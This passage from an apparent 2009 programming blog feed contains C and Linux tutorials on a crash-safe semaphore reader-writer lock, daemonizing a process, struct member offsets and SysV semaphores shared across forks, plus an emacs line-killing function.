&lt;pre&gt;#include &amp;lt;semaphore.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

struct rw_lock *rw;

struct rw_lock {
 sem_t wbl;
 sem_t rbl;
 sem_t r;
 sem_t w;
 int limit;
 pid_t writer;
 pid_t *readers;
};

void init_rwlock(struct rw_lock **rw, int limit)
{
 *rw = mmap(NULL, sizeof(struct rw_lock), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, 0, 0);

 sem_init(&amp;amp;(*rw)-&amp;gt;r, 1, limit);
 sem_init(&amp;amp;(*rw)-&amp;gt;w, 1, 1);
 sem_init(&amp;amp;(*rw)-&amp;gt;wbl, 1, 1);
 sem_init(&amp;amp;(*rw)-&amp;gt;rbl, 1, 1);
 (*rw)-&amp;gt;limit = limit;
 (*rw)-&amp;gt;writer = 0;
 (*rw)-&amp;gt;readers = mmap(NULL, sizeof(pid_t)*limit, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
}

void rlock(struct rw_lock *rw)
{
 int i;
 struct timespec to = {
  .tv_sec = 1,
  .tv_nsec = 0
 };

 sem_wait(&amp;amp;rw-&amp;gt;w);

 do {
  if (sem_timedwait(&amp;amp;rw-&amp;gt;r, &amp;amp;to) == 0) {
   break;
  } else if (errno == ETIMEDOUT) {
   sem_wait(&amp;amp;rw-&amp;gt;rbl);
   for (i=0;i&amp;lt;rw-&amp;gt;limit;++i)
    if (rw-&amp;gt;readers[i] &amp;amp;&amp;amp; kill(rw-&amp;gt;readers[i], 0) == -1 &amp;amp;&amp;amp; errno == ESRCH) {
     printf("deadlock detected: process invoked rlock died(%d)\n", rw-&amp;gt;readers[i]), fflush(NULL);
     rw-&amp;gt;readers[i] = 0;
     sem_post(&amp;amp;rw-&amp;gt;r);

     break;
    }
   sem_post(&amp;amp;rw-&amp;gt;rbl);
  }
 } while (1);

 sem_wait(&amp;amp;rw-&amp;gt;rbl);
 for (i=0;i&amp;lt;rw-&amp;gt;limit;++i)
  if (rw-&amp;gt;readers[i] == 0) {
   rw-&amp;gt;readers[i] = getpid();

   break;
  }
 sem_post(&amp;amp;rw-&amp;gt;rbl);

 sem_post(&amp;amp;rw-&amp;gt;w);
}

void runlock(struct rw_lock *rw)
{
 int i, current = getpid();

 sem_wait(&amp;amp;rw-&amp;gt;rbl);
 for (i=0;i&amp;lt;rw-&amp;gt;limit;++i)
  if (rw-&amp;gt;readers[i] == current) {
   rw-&amp;gt;readers[i] = 0;

   break;
  }
 sem_post(&amp;amp;rw-&amp;gt;rbl);

 sem_post(&amp;amp;rw-&amp;gt;r);
}

void wlock(struct rw_lock *rw)
{
 int val;
 pid_t current = getpid();
 struct timespec to = {
  .tv_sec = 1,
  .tv_nsec = 0
 };
 time_t wfr0, wfr1;

 do {
  if (sem_timedwait(&amp;amp;rw-&amp;gt;w, &amp;amp;to) == 0) {
   break;
  } else if (errno == ETIMEDOUT) {
   sem_wait(&amp;amp;rw-&amp;gt;wbl);
   if (rw-&amp;gt;writer &amp;amp;&amp;amp; kill(rw-&amp;gt;writer, 0) == -1 &amp;amp;&amp;amp; errno == ESRCH) {
    printf("deadlock detected: process invoked wlock died(%d)\n", rw-&amp;gt;writer), fflush(NULL);
    rw-&amp;gt;writer = 0;
    sem_post(&amp;amp;rw-&amp;gt;w);
   }
   sem_post(&amp;amp;rw-&amp;gt;wbl);
  }
 } while (1);
 sem_wait(&amp;amp;rw-&amp;gt;wbl);
 rw-&amp;gt;writer = current;
 sem_post(&amp;amp;rw-&amp;gt;wbl);

 wfr0 = time(NULL);
 do {
  wfr1 = time(NULL);
  if ((wfr1 - wfr0) &amp;gt; 1) {
   int i;
   sem_wait(&amp;amp;rw-&amp;gt;rbl);
   for (i=0;rw-&amp;gt;limit;++i)
    if (rw-&amp;gt;readers[i] &amp;amp;&amp;amp; kill(rw-&amp;gt;readers[i], 0) == -1 &amp;amp;&amp;amp; errno == ESRCH) {
     printf("deadlock detected: process invoked rlock died(%d)\n", rw-&amp;gt;readers[i]), fflush(NULL);
     rw-&amp;gt;readers[i] = 0;
     sem_post(&amp;amp;rw-&amp;gt;r);

     break;
    }
   sem_post(&amp;amp;rw-&amp;gt;rbl);
   wfr0 = wfr1;
  }

  sem_getvalue(&amp;amp;rw-&amp;gt;r, &amp;amp;val);

 } while (val != rw-&amp;gt;limit);
}

void wunlock(struct rw_lock *rw)
{
 sem_wait(&amp;amp;rw-&amp;gt;wbl);
 rw-&amp;gt;writer = 0;
 sem_post(&amp;amp;rw-&amp;gt;wbl);

 sem_post(&amp;amp;rw-&amp;gt;w);
}&lt;/pre&gt;The idea is simple. If the process unable to lock the section for some time it checks whether the previos holder is alive. Otherwise the process tries to release the semaphore and accuire it again. It's possible to omit release/accuire procedure and just change the holder. You'll gain some performance with this change. I left this just to make the code more clear.&lt;br /&gt;
&lt;br /&gt;
The application that simulates crashes is shown below:&lt;pre&gt;int *counter;

void reader(void)
{
 while (1) {
  rlock(rw);
  if (*counter == 1024*4) {
   runlock(rw);
   break;
  }
  if (*counter !=0 &amp;amp;&amp;amp; *counter%1024 == 0) {
   printf("reader died(counter: %d, pid: %d)\n", *counter,getpid()), fflush(NULL);
   *(int *)0 = 0;
  }
  runlock(rw);
 }
}

void writer(void)
{
 while (1) {
  wlock(rw);
  if (*counter == 2048*2) {
   wunlock(rw);
   break;
  }
  ++*counter;
  if (*counter !=0 &amp;amp;&amp;amp; *counter%2048 == 0) {
   printf("writer died(counter: %d, pid: %d)\n", *counter, getpid()), fflush(NULL);
   *(int *)0 = 0;
  }
  wunlock(rw);
 }
}
int main(int argc, char **argv)
{
 int i;

 counter = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, 0, 0);

 init_rwlock(&amp;amp;rw, 5);

 for (i=0;i&amp;lt;10;++i)
  if (fork() == 0) {
   reader();

   return 0;
  }

 for (i=0;i&amp;lt;5;++i)
  if (fork() == 0) {
   writer();

   return 0;
  }

 for (i=0;i&amp;lt;15;++i)
  wait(NULL);

 printf("counter: %d\n", *counter);

 return 0;
}&lt;/pre&gt;After running this application you'll find the information about the crashed processes in dmesg:&lt;pre class="output"&gt;*sudo dmesg -c
test[8806]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8812]: segfault at 0 ip 08048e01 sp bf828290 error 6 in test[8048000+2000]
test[8801]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8804]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8808]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8799]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8800]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8802]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8805]: segfault at 0 ip 08048d5e sp bf828290 error 6 in test[8048000+2000]
test[8809]: segfault at 0 ip 08048e01 sp bf828290 error 6 in test[8048000+2000]&lt;/pre&gt;And the application should produce following output:&lt;pre class="output"&gt;reader died(counter: 1024, pid: 8806)
deadlock detected: process invoked rlock died(8806)
writer died(counter: 2048, pid: 8812)
deadlock detected: process invoked wlock died(8812)
reader died(counter: 2048, pid: 8801)
reader died(counter: 2048, pid: 8804)
reader died(counter: 2048, pid: 8808)
reader died(counter: 2048, pid: 8799)
reader died(counter: 2048, pid: 8802)
deadlock detected: process invoked rlock died(8801)
reader died(counter: 2048, pid: 8800)
deadlock detected: process invoked rlock died(8800)
reader died(counter: 2048, pid: 8805)
deadlock detected: process invoked rlock died(8805)
deadlock detected: process invoked rlock died(8804)
deadlock detected: process invoked rlock died(8808)
deadlock detected: process invoked rlock died(8799)
deadlock detected: process invoked rlock died(8802)
writer died(counter: 4096, pid: 8809)
deadlock detected: process invoked wlock died(8809)
counter: 4096, max_readers: 5&lt;/pre&gt;As you can see there are few readers crashed in the same circumstances just because they were allowed to do so.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-6455671689645526135?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=BfrX_D3mIZQ:QWoZgDDXUdo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=BfrX_D3mIZQ:QWoZgDDXUdo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=BfrX_D3mIZQ:QWoZgDDXUdo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=BfrX_D3mIZQ:QWoZgDDXUdo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=BfrX_D3mIZQ:QWoZgDDXUdo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=BfrX_D3mIZQ:QWoZgDDXUdo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=BfrX_D3mIZQ:QWoZgDDXUdo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=BfrX_D3mIZQ:QWoZgDDXUdo:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=BfrX_D3mIZQ:QWoZgDDXUdo:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/BfrX_D3mIZQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/BfrX_D3mIZQ/nix-crash-safe-rw-lock-with-semaphores.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/05/nix-crash-safe-rw-lock-with-semaphores.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-1900694806455127068</guid><pubDate>Tue, 21 Apr 2009 11:33:00 +0000</pubDate><atom:updated>2009-04-21T14:33:59.064+03:00</atom:updated><title>linux: how to become a real daemon?</title><description>When you want to write a daemon - a program that runs in background and serves during all the time that machine run(or almost all the time) you there are few things that's better to remember.&lt;br /&gt;
&lt;br /&gt;
First of all the daemon should release controlling terminal. If daemon holds controlling terminal SIGHUP is sent when controlling terminal is lost. This happens if CLOCAL flag on the terminal is not set. That's not a good idea to handle these signals as a workaround to keep process running if controlling terminal is lost.&lt;br /&gt;
In linux(and maybe in some other OSes) lately CLOCAL is usually set but the developer shouldn't rely on this.&lt;br /&gt;
&lt;br /&gt;
There are few ways to detach from the controlling terminal. &lt;br /&gt;
The easy way is to request TIOCNOTTY from the tty device if it supports it:&lt;pre&gt;int tty = open("/dev/tty", O_RDWR);
if (tty == -1)
    return -1;

if (ioctl(tty, TIOCNOTTY, (char *)0) == -1)
    return -1;

close(tty);&lt;/pre&gt;This might not work for in some OSes. There is another opportunity.&lt;br /&gt;
Daemon has to create a new session using &lt;b&gt;setsid&lt;/b&gt;. The caller of &lt;b&gt;setsid&lt;/b&gt; becomes a process leader without controlling terminal. There is one thing with &lt;b&gt;setsid&lt;/b&gt; - it creates a new session if caller is not a process group leader.&lt;br /&gt;
To do so first of all the daemon should call &lt;b&gt;setsid&lt;/b&gt; from its child. The child will become a process leader and will get closer to be a real daemon and the parent will exit taking controlling tty with itself:&lt;pre&gt;#include &amp;lt;unistd.h&amp;gt;

int main(int argc, char **argv)
{
 if (fork() == 0) {
  setsid();
  while (1) {
   /* Daemons like to sleep */
   sleep(1);
  }
 }

 return 0;
}&lt;/pre&gt;Next thing is to release current working directory. It's not good if daemon starts in some directory that is placed on filesystem that might be unmounted during the daemon's work. You won't be able to unmount the filesystem in that case. Simply &lt;b&gt;chdir&lt;/b&gt; to '/' is a good choice.&lt;br /&gt;
Also it'd be nice to close stdin/stdout/stderr file descriptors since the daemon doesn't need them and some system resources could be saved. If the daemon is going to produce some output that's bad idea to use inherited stdout and stderr since you don't know where they might be redirected. It's better to provide new open descriptors(stdout and/or stderr might point to some log file):&lt;pre&gt;#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

int main(int argc, char **argv)
{
 if (fork() == 0) {
  int log;

  setsid();

  log = open("/tmp/test.log", O_CREAT|O_APPEND|O_RDWR, 0755);
  close(0);
  close(2);
  dup2(log, 1);

  printf("Daemon is started\n");
  while (1) {
   /* Daemons like to sleep */
   sleep(1);
   printf("Daemon is sleeping\n");
   fflush(NULL);
  }
 }

 return 0;
}&lt;/pre&gt;The output will go to "/tmp/test.log":&lt;pre class="output"&gt;*./test 
*tail /tmp/test.log -f
Daemon is started
Daemon is sleeping
Daemon is sleeping
Daemon is sleeping
Daemon is sleeping
Daemon is sleeping
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-1900694806455127068?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=GIBOe4Rxk2U:jiajQVJi2-U:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=GIBOe4Rxk2U:jiajQVJi2-U:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=GIBOe4Rxk2U:jiajQVJi2-U:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=GIBOe4Rxk2U:jiajQVJi2-U:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=GIBOe4Rxk2U:jiajQVJi2-U:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=GIBOe4Rxk2U:jiajQVJi2-U:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=GIBOe4Rxk2U:jiajQVJi2-U:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=GIBOe4Rxk2U:jiajQVJi2-U:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=GIBOe4Rxk2U:jiajQVJi2-U:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/GIBOe4Rxk2U" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/GIBOe4Rxk2U/linux-how-to-become-real-daemon.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>1</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/04/linux-how-to-become-real-daemon.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-1163339347996987211</guid><pubDate>Tue, 14 Apr 2009 18:02:00 +0000</pubDate><atom:updated>2009-04-14T21:02:01.060+03:00</atom:updated><title>emacs: proper kill-whole-line</title><description>I'm using emacs not for a long time but I really liked it. It took not much time to get used to it. Though emacs doesn't have some function you are free to write them in elisp easily!&lt;br /&gt;
I used to vim's 'dd' command which kills current line and later you are able to yank it.&lt;br /&gt;
emacs has 'kill-line' function to kill line from the current point except newline character or 'kill-whole-line' which kills following newline also. This doesn't fit me entirely. I would like to kill the whole line from the beginning including newline character. Simply you can wrap 'kill-whole-line' with adding an instruction to jump into the beginning of the line and finally kill it.&lt;br /&gt;
Looks like everything is done except the situation when you want to yank it back. When you'll try to yank the killed line you'll see that besides wanted line you have an extra newline. It was annoying for me to yank and kill the appendix. Finally I wrote my variant of 'kill-whole-line' - &lt;b&gt;kill-total-line&lt;/b&gt;:&lt;pre&gt;(defun kill-total-line ()
  (interactive)
  (let ((kill-whole-line t)) 
        (beginning-of-line)
        (kill-line)
        (setq top (car kill-ring))
        (setq last (substring top -1))
        (if (string-equal last "\n")
                (let ()
                  (setq stripped (substring top 0 -1))
                  (setq kill-ring (cons stripped (cdr kill-ring)))
                  )
          )
        )
  )&lt;/pre&gt;This 'kill-total-line' function kills the line from the beginning to the end and cuts newline symbol of the killed line in the kill-ring if any. Now I'm happy to kill lines and yank them back!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-1163339347996987211?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=lw3C1G7G26M:MHKT0RPGvHI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=lw3C1G7G26M:MHKT0RPGvHI:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=lw3C1G7G26M:MHKT0RPGvHI:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=lw3C1G7G26M:MHKT0RPGvHI:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=lw3C1G7G26M:MHKT0RPGvHI:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=lw3C1G7G26M:MHKT0RPGvHI:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=lw3C1G7G26M:MHKT0RPGvHI:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=lw3C1G7G26M:MHKT0RPGvHI:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=lw3C1G7G26M:MHKT0RPGvHI:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/lw3C1G7G26M" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/lw3C1G7G26M/emacs-proper-kill-whole-line.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/04/emacs-proper-kill-whole-line.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-3377765363436206326</guid><pubDate>Tue, 07 Apr 2009 11:35:00 +0000</pubDate><atom:updated>2009-04-07T14:35:01.745+03:00</atom:updated><title>c: offset of the member in struct</title><description>Sometimes, very rarely, you know the pointer to the member of the structure and the type of the structure it belongs to. And in this rare situation you want to get pointer to the entire structure.&lt;br /&gt;
&lt;br /&gt;
To get the pointer of the original structure you should know the offset of this member in the structure. The hint here is that you can use some base address(0 fits the best here), cast it into the pointer of the structure type, dereference with given member name and voilà - you have the offset. Look at the next code snippet:&lt;pre&gt;struct S {
 int m0;
 char m1;
 short m2;
 long m3;
};
unsigned int m3_offset = (unsigned int)(&amp;((struct S *)0)-&amp;gt;m3);&lt;/pre&gt;Variable m3_offset holds the offset of the member &lt;b&gt;m3&lt;/b&gt; in structure &lt;b&gt;S&lt;/b&gt;. In this case the offset of m3 is equal 8. So the address of the variable of type S is (address of m3) - m3_offset.&lt;pre&gt;struct S *sp = (struct S *)((char *)&amp;s.m3 - m3_offset);&lt;/pre&gt;You should cast pointer to member into &lt;b&gt;char *&lt;/b&gt; to correctly use pointer arithmetics. &lt;br /&gt;
The whole code that shows this trick is below:&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;

struct S {
 int m0;
 char m1;
 short m2;
 long m3;
};

unsigned int m3_offset = (unsigned int)(&amp;amp;((struct S *)0)-&amp;gt;m3);

int main(int argc, char **argv)
{
 struct S s = {1, 2, 3, 4};
 struct S *sp = (struct S *)((char *)&amp;amp;s.m3 - m3_offset);

 printf("m1: %d\n", sp-&amp;gt;m1);

 return 0;
}&lt;/pre&gt;The output should be&lt;pre class="output"&gt;*./test 
m1: 2&lt;/pre&gt;This technique could be used to easily construct nested structures:&lt;pre&gt;struct S0 {
 int s0m0;
};

struct S1 {
 struct S0 s1m0;
 int s1m1;
};

/**
 * pointer to member in S structure
 * type of S
 * name of member
 */
#define S(s, st, m)            \
 ({               \
  unsigned int offset = (unsigned int)(&amp;((st *)0)-&gt;m); \
  (st *)((char *)s-offset);        \
 })

int main(int argc, char **argv)
{
 struct S1 s = {{1}, 2};

 printf("%d",S(&amp;s.s1m0, struct S1, s1m0)-&gt;s1m1);

 return 0;
}&lt;/pre&gt;It's easy to build such data types as trees, queues and so on separately defining payload structures(data of the node) and helper structures(pointers to other nodes, etc.)&lt;br /&gt;
Doubly ended queue in linux kernel uses this approach and looking into the code you can definitely say - the code looks much clear if this technique is used.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-3377765363436206326?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=kuHhMTezxgA:ntRDvVexJR8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=kuHhMTezxgA:ntRDvVexJR8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=kuHhMTezxgA:ntRDvVexJR8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=kuHhMTezxgA:ntRDvVexJR8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=kuHhMTezxgA:ntRDvVexJR8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=kuHhMTezxgA:ntRDvVexJR8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=kuHhMTezxgA:ntRDvVexJR8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=kuHhMTezxgA:ntRDvVexJR8:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=kuHhMTezxgA:ntRDvVexJR8:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/kuHhMTezxgA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/kuHhMTezxgA/c-offset-of-member-in-struct.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/04/c-offset-of-member-in-struct.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-5166253736521316129</guid><pubDate>Tue, 31 Mar 2009 06:12:00 +0000</pubDate><atom:updated>2009-03-31T09:12:03.156+03:00</atom:updated><title>linux: semget across the processes</title><description>Recently I've written an &lt;a href="http://stupefydeveloper.blogspot.com/2009/03/linux-semopen-across-processes.html"&gt;issue&lt;/a&gt; on whether the semaphore handle obtained with sem_open is valid in children processes.&lt;br /&gt;
To make the picture complete I'd like to describe is it possible to pass semaphore handle to children processes obtained by IXS's semget.&lt;br /&gt;
&lt;br /&gt;
When you call semget with some key and the call was successful you get semaphore id that is valid not only within process tree but system wide.&lt;br /&gt;
So actually there shouldn't be any problems with the children processes that are using semaphore handle obtained in the parent process. Let's glance at the code below.&lt;pre&gt;#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/sem.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

union semun
{
 int              val;    /* Value for SETVAL */
 struct semid_ds *buf;    /* Buffer for IPC_STAT, IPC_SET */
 unsigned short  *array;  /* Array for GETALL, SETALL */
};

int main()
{
 struct sembuf op[1];
 union semun ctrl;
 int sem = semget(0xF00B00, 1, IPC_CREAT|0600);
 if (sem == -1)
 {
  perror("semget");

  return 1;
 }

 op[0].sem_num = 0;
 op[0].sem_flg = 0;

 ctrl.val = 1;
 if (semctl(sem, 0, SETVAL, ctrl) == -1)
 {
  perror("semctl");

  return 1;
 }

 switch(fork())
 {
  case -1:
   perror("fork()");

   return 1;

  case 0:
  {
   printf("Child %u waiting for semaphore(%d)...\n",getpid(), sem);
   op[0].sem_op = 0;
   semop(sem, op, 1);
   printf("Child: Done\n");

   return 0;
  }
 }

 sleep(1);

 printf("Parent %u setting semaphore(%d)...\n",getpid(),sem);
 op[0].sem_op = -1;
 semop(sem, op, 1);
 printf("Parent: Set\n");

 return 0;
}&lt;/pre&gt;Here a semaphore was created and its initial value was 1. Next child process was created which waits on the semaphore until its value becomes zero. It finishes as soon as parent process decrements the value of the semaphore.The output of this test application would be&lt;pre class="output"&gt;$ ./test 
Child 3353 waiting for semaphore(0)...
Parent 3352 setting semaphore(0)...
Child: Done
Parent: Set&lt;/pre&gt;With &lt;b&gt;ipcs&lt;/b&gt; we can look at the system semaphores:&lt;pre class="output"&gt;$ ipcs -s

------ Semaphore Arrays --------
key        semid      owner      perms      nsems     
0x00f00b00 0          niam      600        1 &lt;/pre&gt;You can see that semaphore with key 0x00f00b00 and id 0 is present in the system.&lt;br /&gt;
